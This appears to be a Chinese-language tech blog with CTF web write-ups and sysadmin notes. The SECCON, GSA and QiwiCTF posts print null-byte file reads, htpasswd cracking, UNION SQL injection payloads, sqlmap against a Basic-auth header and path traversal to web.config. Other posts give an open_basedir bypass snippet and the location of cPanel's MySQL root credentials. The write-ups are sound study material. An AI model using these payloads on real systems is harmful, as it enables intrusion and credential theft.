如何在 AWS EC2 建立 Windows Server 2016 主機

最近系統測試環境需要使用 Windows Server 2016, 但手邊沒有多餘的測試主機, 想到平常工作都是使用 Linux, 所以 Amazon Web Service(AWS)上的主機也都是以 Linux 系統為主, 那就在 AWS EC2 上開一台 Windows 2016 玩玩看好了, 實際使用後才發現流程上有點差異, 決定做個筆記紀錄一下

Step 1. 建立 Windows EC2

創建 Windows EC2 的方法就跟建立 Linux EC2 的方法大致相同, 只要選擇 Windows 的 AMI 即可(這邊選擇 Windows Server 2016)

後續步驟跟平常建立 EC2相同, 這邊就不再贅述

Step 2. 選擇憑證

在 EC2 建立精靈的最後一步會要求選擇憑證, 請務必選擇憑證, 這憑證是用來解開密碼用的, 很多人在這個步驟想說 Windows 不支援 PEM 登入就不選擇, 導致最後無法解開登入資訊

Setp 3. 取得登入密碼

在主機建立完成後, 可以在主機上按下右鍵選擇 Get Windows Password

若主機上尚未準備完成會顯示如下訊息, 過幾分鐘後重試就可以了(主機建立後四分鐘通常就可以正常取得密碼)

當系統準備完成時, 系統會要求我們上傳自己的 PEM(建立EC2時選的那張憑證)

上傳PEM後選擇 Decrypt Password

畫面上就會顯示登入資訊

Setp 3. 取得連線資訊

在主機上按下右鍵選擇 Connect

點選 Download Remote Desktop File, 下載 RDP 資訊檔

接著只要打開下載的 RDP 檔就可以建立遠端連線了!

SECCON 2016 Writeup – [Web] uncomfortable-web

題目

題目給我們一個介面, 我們必須透過此介面執行程式來訪問位於內網的目標網站

過程

題目提供了簡單的範例程式, 用 curl 取得內網內容

#!/bin/sh
curl -s http://127.0.0.1:81/

從 curl 回傳結果得到了目錄結構資料

<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>

目錄中有一個受保護的目錄 authed, 以及一個 select.cgi
在訪問 select.cgi 後, 發現 select.cgi 接受一個參數 txt, 值有 a,b 兩種

select.cgi?txt=a

select.cgi?txt=b

從結果可以知道 select.cgi 會去開位於 authed 內的檔案

Apache 的 HTTP Basic Authentication 是由 .htaccess 設定的

因此請求 .htaccess 檔案, 看看帳號密碼存在哪裡

select.cgi?txt=authed/.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

從檔案中可以得知帳號密碼位於 .htpasswd 內

select.cgi?txt=.htpasswd%00

keigo:LdnoMJCeVy.SE

由於 .htpasswd 存放的是已經 hash 過的結果, 我們可以使用 John The Ripper(JTR) 去爆破出原始內容

john .htpasswd --show

keigo:test

在成功取得 authed 的內容後, 發現有一個 sqlinj/ 目錄

在這個目錄內有 100個 cgi, 隨便打開一個

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>

從 HTML 內可以知道程式可接受 no 參數, 於是寫一個程式去測試所有cgi

for i in $(seq 1 100);
do
    echo ${i}
    curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27+or+1--"
done

從結果中發現 72.cgi 是唯一可以被注入的, 於是便透過 sqlite_master 取得資料表結構(SQLite)

curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822237842%27+union+select+1,(select+group_concat(sql)+FROM+sqlite_master),3--"

看樣子 flag 應該是放在 f1ags 的 f1ag

CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)<br>
curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+union+select+1,(select+f1ag+FROM+f1ags),3--"

成功得到 flag

ISBN-10: 1
ISBN-13: SECCON{I want to eventually make a CGC web edition... someday...}
PUBLISH: 3

FLAG

SECCON{I want to eventually make a CGC web edition… someday…}

後記

真的超不舒適的題目
因為過程要一直改檔案後上傳, 所以寫了一個小 script 去上傳 code

import time, requests, StringIO
import lxml.html
target = "http://uncomfortableweb.pwn.seccon.jp/"
command = """\
#!/bin/sh
#curl -s http://127.0.0.1:81/select.cgi?txt=authed/.htaccess%00
"""
resp = requests.post(target, files={"file": StringIO.StringIO(command)}, data={}).text
print lxml.html.fromstring(resp).xpath("//pre/text()")[0]

稍微舒服了一點.

SECCON 2016 Writeup – [Web] basiq

題目

主要目的是要我們找出管理員的密碼 題目在這邊

看樣子這是一個賽馬的網站呢, 既然如此那就讓我來賽個馬吧!, 玩著玩著就輸到脫褲子了…(沒天賦

過程

麻, 看樣子目標根本不是要讓我賽馬得冠軍, 獎品也不是管理員密碼, 只好認份的開始追蹤各種 API, 在測試了一輪後發現前台應該沒有洞

既然API本身沒有洞, 那就來看看 HTML 跟 JS 有沒有藏什麼東西吧!

在追蹤的過程中發現 javascripts/client.js 的 login 內有關於管理員的相關功能

function login(message){
    if(message.status!=='OK'){
        alert(message.error);
        return;
    }
    loginuser = message.data;
    $.getJSON('keiba.cgi?action=expenditure', expenditure);

    var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
    if(loginuser == 'admin'){
        links.push({label:'Admin', href:'/admin/'});
    }
  // ..... 省略

來去逛逛 /admin/ 吧!!, 誒誒誒誒…竟然要密碼耶(這不是廢話嗎XD

來試試看老招吧, admin/' or '1'='1 於是就成功登進去了, 看樣子目標的洞在這裡啊

由於 HTTP Basic Authorization 要 經過 base64 encode, 但 sqlmap 並不能直接注入這個點, 因此得靠 proxy 去做 base64 encode

後來找到發現 Burpsuite 有插件 Encode Authorization Header 可以使用

因為注入點很奇怪, 所以要自行定義, 在錄製檔中用 * 表示注入點, sqlmap 會自己抓到

GET /admin/ HTTP/1.1
Host: basiq.pwn.seccon.jp
Authorization:Basic admin:*
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36

接著呼叫 sqlmap

python sqlmap.py -r basiq.txt --ignore-401 --proxy=http://127.0.0.1:8080 --dbms mysql --threads 10 --dbs

由於注入點不在url 上, 也不是 POST, 因此 sqlmap 會詢問以下問題確認注入的位置

do you want to try URI injections in the target URL itself? [Y/n/q] n 
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y

最終取得 admin 的密碼

Database: keiba
Table: ☹☺☻
[2 entries]
+----+-------+------------------+
| id | name  | pass             |
+----+-------+------------------+
| 0  | admin | SECCON{Carnival} |
| 1  | aa    | ' or 1;#         |
+----+-------+------------------+

Flag

SECCON{Carnival}

後記

用 emoji 當 table name 實在是很有梗啊

金盾2016 Writeup – [Web] GSA2016

題目

有一個網站GSA2016, 要我們闖進去找Flag

提示

SEO

解題

網站打開後就看到一張圖然後就沒了

但在source中發現了下面這段javascript, 看樣子是用來載入圖片用的

function update(n, f) {
            $.ajax({
                url: 'ShowPhoto.ashx',
                type: 'POST',
                data: f,
                cache: false,
                success: function (data) {
                    $('#m').html('<img class="img-rounded" src="data:image/png;base64,' + data + '" />');
                },
                error: function (errorText) {
                    alert("Wwoops something went wrong !");
                }
            });
        }
        update("kobe-bryant.png", '{"file_name":"a29iZS1icnlhbnQucG5n"}');

從 js 中可以發現他呼叫了 ShowPhoto.ashx 來取得資源, 參數是檔名的base64, 回傳結果也是 base64

Aspx的網站通常都有 web.config 這個設定檔, 因此將其 base64 encode 後向 ShowPhoto.ashx 請求資源

但並這麼做並沒有得到任何內容, 可能猜測的目錄不對, 改送 ../web.config 接著就得到 Web.config 內容

在 Web.config 中發現有用資訊

<!-- Flag file -->
<add key="keyfile" value="54fb3bd9d6052999fbf5bbd397f483d2af35461fec3c1a8886f52109950aeea611a58ddf7c17efb80f7a754272dbd4955d9b974ee506db6e499e5b162fa78480.key" />

看樣子只要猜到檔案位置就收工了, 這時候想到 Aspx 通常會將一些資料放在 App_Data, 因此向 ShowPhoto.ashx 取得這個檔案, Flag Get!

Flag

Live in the present moment!

註記

題目一開始給的提示 SEO 是提示我們去看 robots.txt 這個檔案, 其中 Disallow: App_Data 暗示檔案位置

QiwiCTF2016 Writeup – [Web] javascript

題目

網頁中提供一個欄位讓使用者輸入 Key, 程式會驗證是否正確
而這把 key 就是 這題的 flag.

過程

該檢查函數資料如下

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('18 10(){1a(1b("%o%p%9%3%8%g%a%9%0%1%9%3%a%5%1%6%e%8%2%7%0%F%b%0%0%0%0%j%4%2%0%3%c%4%2%e%0%d%0%G%u%M%D%1c%1d%N%16%11%13%14%17%15%R%w%19%1p%1l%Q%1m%P%1n%U%12%X%V%Y%4%i%3%5%1%o%t%c%g%z%1o%m%1e%9%a%L%1k%2%e%8%p%j%A%1j%1f%E%q%l%s%v%O%1g%n%1h%I%Z%r%1i%d%G%f%b%0%0%0%0%j%4%2%0%1%9%3%a%5%1%5%0%d%0%C%B%f%b%0%0%0%0%j%4%2%0%3%0%d%0%q%f%b%0%0%0%0%A%c%g%m%1%0%6%3%0%k%0%e%8%2%h%m%1%9%t%8%c%7%0%F%b%0%0%0%0%0%0%0%0%j%4%2%0%i%q%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%l%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%s%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%p%o%0%d%0%6%i%q%0%k%k%0%l%n%7%0%r%0%6%6%i%l%0%J%J%0%q%7%0%k%k%0%I%7%0%r%0%6%i%s%0%J%J%0%q%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%q%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%I%7%7%0%y%y%0%l%I%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%l%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%s%7%7%0%y%y%0%l%s%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%s%0%d%0%g%e%w%4%w%6%i%l%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%n%7%7%0%y%y%0%n%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%v%0%d%0%g%e%w%4%w%6%i%s%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%n%v%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%q%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%l%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%s%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%v%7%f%b%0%0%0%0%H%b%0%0%0%0%2%1%8%p%2%9%0%1%9%3%a%5%1%5%h%z%a%g%9%6%G%G%7%f%b%0%H%b%g%o%0%6%1%9%3%a%5%1%6%3%8%o%h%L%4%e%e%A%a%2%5%h%j%4%m%p%1%7%0%d%d%0%x%4%z%Q%s%w%11%w%z%3%z%N%A%5%N%Z%o%X%E%M%g%Y%9%U%E%V%E%Q%q%R%P%M%p%x%7%F%4%m%1%2%8%6%x%P%c%4%8%0%2%g%t%c%8%W%x%7%f%H%1%m%e%1%F%4%m%1%2%8%6%x%12%2%a%9%t%0%L%4%e%e%A%a%2%5%W%x%7%f%H%0%b"))}10();',62,88,'20|65|72|63|61|64|28|29|74|6E|6F|0A|68|3D|73|3B|69|2E|62|76|3C|31|6C|36|66|75|30|2B|32|67|41|33|4E|22|3E|6A|77|5D|5B|43|7A|7B|27|7D|38|7C|26|70|42|46|34|54|52|4D|3A|3F|56|59|21|58|5A|39|check|48|57|49|4A|4C|47|4B|function|4F|eval|unescape|44|45|6D|79|35|37|2F|78|71|51|53|55|6B|50'.split('|'),0,{}))

我們可以透過以下兩種方法解開 packer
1. 透過 unPacker
2. 將 eval 改為 console.log 然後執行, 重複這個動作直到內容完全解開

解開後我們可以得到下列的結果

function encode(str) 
    {
        var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        var encoded = [];
        var c = 0;
        while (c < str.length) 
        {
                var b0 = str.charCodeAt(c++);
                var b1 = str.charCodeAt(c++);
                var b2 = str.charCodeAt(c++);
                var buf = (b0 << 16) + ((b1 || 0) << 8) + (b2 || 0);
                var i0 = (buf & (63 << 18)) >> 18;
                var i1 = (buf & (63 << 12)) >> 12;
                var i2 = isNaN(b1) ? 64 : (buf & (63 << 6)) >> 6;
                var i3 = isNaN(b2) ? 64 : (buf & 63);
                encoded[encoded.length] = chars.charAt(i0);
                encoded[encoded.length] = chars.charAt(i1);
                encoded[encoded.length] = chars.charAt(i2);
                encoded[encoded.length] = chars.charAt(i3);

    }
        return encoded.join('');

}
if (encode(ctf.password.value) == "ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu")
    {
    alert("That right!");
}
else
    {
    alert("Wrong password!");
}

當中可以得知程式會判斷輸入值encode後是否為 ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu
接著觀察 encode 的動作方式, 然後就發現他其實是 base64 encode

Flag

j4v4scr1pt___0bfusc4t10n

重設 mysql root 密碼(Mysql 5.7.5 以下, 5.7.6 以上)

由於工作內容時常接手不明主機, 找 root 密碼早已是家常便飯, 這邊與各位分享 Mysql <= 5.7.5 以及 Mysql >= 5.7.6 的 root 重設方法

1. Stop Service

停止執行中的 mysql

service mysql stop

2. Run Mysql in single-user mode

進入單人模式

mysqld_safe --skip-grant-tables --skip-networking &

參數解釋:
* –skip-grant-tables: 不載入權限表
* –skip-networking: 關閉網路連線(遠端使用者將無法連入主機)

警告: 單人模式下所有人都可以免密碼存取 root, 若您的環境是共用系統, 為避免造成資安上的疑慮, 請務必將主機上其他人請下線.

3. Reset Root Password

3.1 Mysql <= 5.7.5

SET PASSWORD FOR 'root'@'localhost' = PASSWORD('root_password');

3.2 Mysql >= 5.7.6

UPDATE mysql.user SET authentication_string = PASSWORD('root_password')
WHERE User = 'root' AND Host = 'localhost';

4. Flush Privileges

FLUSH PRIVILEGES;
exit;

5. Restart mysql

重新執行 mysql, 使其恢復正常模式

service mysql stop
service mysql start

6. Finish

現在可以使用新的 root 密碼進行登入了~

取得及修改 cpanel mysql 的 root 密碼

Cpanel 在主機管理系統的市佔率極高, 在路上很容易遇到 cpanel 主機, 雖然操作作業通常都由 cpanel 的後台直接進行, 但有時候我們需要直接從 cli 中去對資料庫操作, 這時候就會需要 mysql root password, 而 cpanel 的所有服務密碼都是獨立的, 因此 WHM 的 root password 並不適用.

cpanel 會將 root 密碼存在 /root/.my.conf 當中, 檔案內的 password 後方就是 root 密碼.

[client]
password="#kdu^39dk!;dl"
user=root

若想要修改 mysql 的密碼, 在修改密碼後回填 /root/.my.conf 以及重啟 DB, cpanel 就會使用新密碼進行操作.

PostgreSQL 備份與還原

最近在進行一個 postgreSQL 的主機轉移作業, 由於主機的版本有升級, 決定採取導出後導入的方式進行, 在這邊紀錄一下 PostgreSQL備份與還原的過程, 以及過程中遇到的問題

環境

  • DB_SERVER_1
    OS: Debian 8
    DB: PostgreSQL 9.3.5

  • DB_SERVER_2
    OS: Debian 8
    DB: PostgreSQL 9.5.5

步驟

備份(導出)

指令:

pg_dump [-h 主機] [-p 資料庫Port] [-U 使用者名稱] [資料庫名稱] [-f 檔案名稱]

範例:
Host: db01.postgresql
Port: 5502
User: pqadmin
DB: website

pg_dump-h db01.postgresql -p 5502 -U pqadmin website -f website-2016-11-07.sql

系統接著會問密碼(輸入不會顯示在畫面上), 再輸入完後我們就會得到一個 website-2016-11-07.sql 的導出結果

還原(導入)

指令 psql

psql [-h 主機] [-p 資料庫Port] [-f 檔案名稱] [資料庫名稱] [使用者名稱]

注意參數格式, psql 與 pg_dump 參數格式不同

範例:
Host: db02.postgresql
Port: 5990
User: pqadmin
DB: website

psql -h db02.postgresql -p 5990 -f website-2016-11-07.sql website pqadmin

接著一樣輸入使用者密碼系統就會開始導入

遭遇問題

1. pg_dump: aborting because of server version mismatch

問題原因

pg_dump 的版本低於目標Server的版本, --ignore-version 這個參數在新版已經無法使用

解決辦法

安裝正確版本的 postgresql, pg_dump 便會是相對應版本

2. pg_dump 版本不符

問題原因

安裝了正確版本的 postgresql 後, pg_dump 的版本依然是舊的, 主要的問題在安裝新版 postgresql 的方法大多都是使用官方 repo, 官方repo 與 apt, yum package 的安裝位置不同, 導致 pg_dump 會一直抓到 apt, yum 安裝的版本而不是新的版本

解決辦法

可以在 /usr/lib/postgresql/{version}/bin/找到對應版本的 psql 與 pg_dump

open_basedir 繞過

在多使用者或者設定較為嚴格的環境中, 管理者會在 php.ini 中指定 open_basedir 來避免目錄存取越界, 但實際上 open_basedir 這個參數在某些狀況下是無效的, 是可以技巧性的繞過

熟悉 php 開發的人應該都會知道 glob 這個函數, glob 函數實際上是不受到 open_basedir 影響, 可以取得限制外的資訊, 解決辦法就只要將其禁用即可, 但除了 glob 這個函數外還有另一種方法.

方法

在 php5 以上 有一個 Class: DirectoryIterator, 我們可以藉由這個類別與 glob:// 來再次繞過 open_basedir

Code:

$files = [];
$glob = new DirectoryIterator("glob:///*");
foreach($glob as $f) {
    $files[] = $f->__toString();
}

在 Windows 下 存取 Ext2/Ext3/Ext4 磁區

在主機維護的日常中, 時常會在 Linux 與 Windows 環境中切換, Linux 下如果要開啟 NTFS 格式沒有甚麼困難, 但 Windows 開啟 ext2/ext2/ext4 格式卻很少人討論

因工作上需要在Windows 環境下讀取 Linux 的磁碟資料, 在這邊介紹一個可以使用的讀取工具

軟體介紹

Ext2Fsd 是 Windows 下一套很實用的 Driver, 雖然名稱是 ext2fsd 但 ext3/ext4 都可讀取, 安裝完成後電腦便可直接認得 ext 格式磁區
雖然官方介紹只能支援到 Windows 8, 但實測 Windows 10 可以正常使用

軟體資訊

官方網站: Ext2Fsd Project
下載網址: 點此下載

使用方法

安裝完成後重新啟動電腦, 系統便可直接識別出 ext 格式的磁區, 可以搭配 vmdk 掛載 直接用檔案總管來操作磁碟